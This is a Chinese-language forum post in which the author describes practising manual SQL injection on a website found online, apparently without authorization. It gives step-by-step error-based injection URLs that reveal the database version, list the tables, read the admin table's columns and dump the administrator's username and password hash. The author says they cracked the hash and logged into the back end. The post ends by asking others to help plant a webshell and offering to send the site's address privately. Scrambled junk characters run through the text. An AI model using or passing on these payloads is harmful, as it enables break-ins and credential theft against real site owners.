近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。. {! G ]8 @: b6 @" ]
首先找到网站后台,加了个admin,后台出来了 # n, X* V v$ i9 {- e. Y
# J0 Y" v. N* [+ D- h+ n/ e; F$ i( V
: O* J1 b$ s, K) W然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入; ?" U7 j* q1 b' M+ C: O" D
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
% I( z( I4 f+ p- B" T5 s3 T7 {& P1 j& k! L3 Q9 d4 N5 c% Y
1 d( `& B+ \# o3 O' g
6 S8 j1 y2 \* o! ~, T5 |* q9 c9 A* R0 N3 t5 x# Y) U) E0 E
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
+ @2 d3 A3 @% y+ J) b' V3 O6 P& d z; I
6 ~7 P8 D, q& v+ T. ^6 a( q% P! k
( k' y- X$ ]5 z( q7 b" @
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
9 W: U" v4 s7 S1 E. F3 A0 o
. |8 ]2 X9 L* x! d" E* q0 q& y" m- S( |5 b2 A
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg& u* d2 ~; [% ^% ]7 D* d# C2 p
; {* t) f9 N( N+ c2 Z) N
& p# G U. j" u
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--( r2 _! N; M0 R5 v3 v2 d
& h8 v8 p. `! w% n# G
! W& m5 s7 i/ h' E, y; S2 x5 M
, l& s6 R3 ~. z' E6 B$ } 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
7 C, d2 h( A/ T/ a. q
. z6 A9 P' O# y m2 k
1 u' a# m! d/ Z( N A, ^- K; B7 ?9 d9 L2 u' U
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |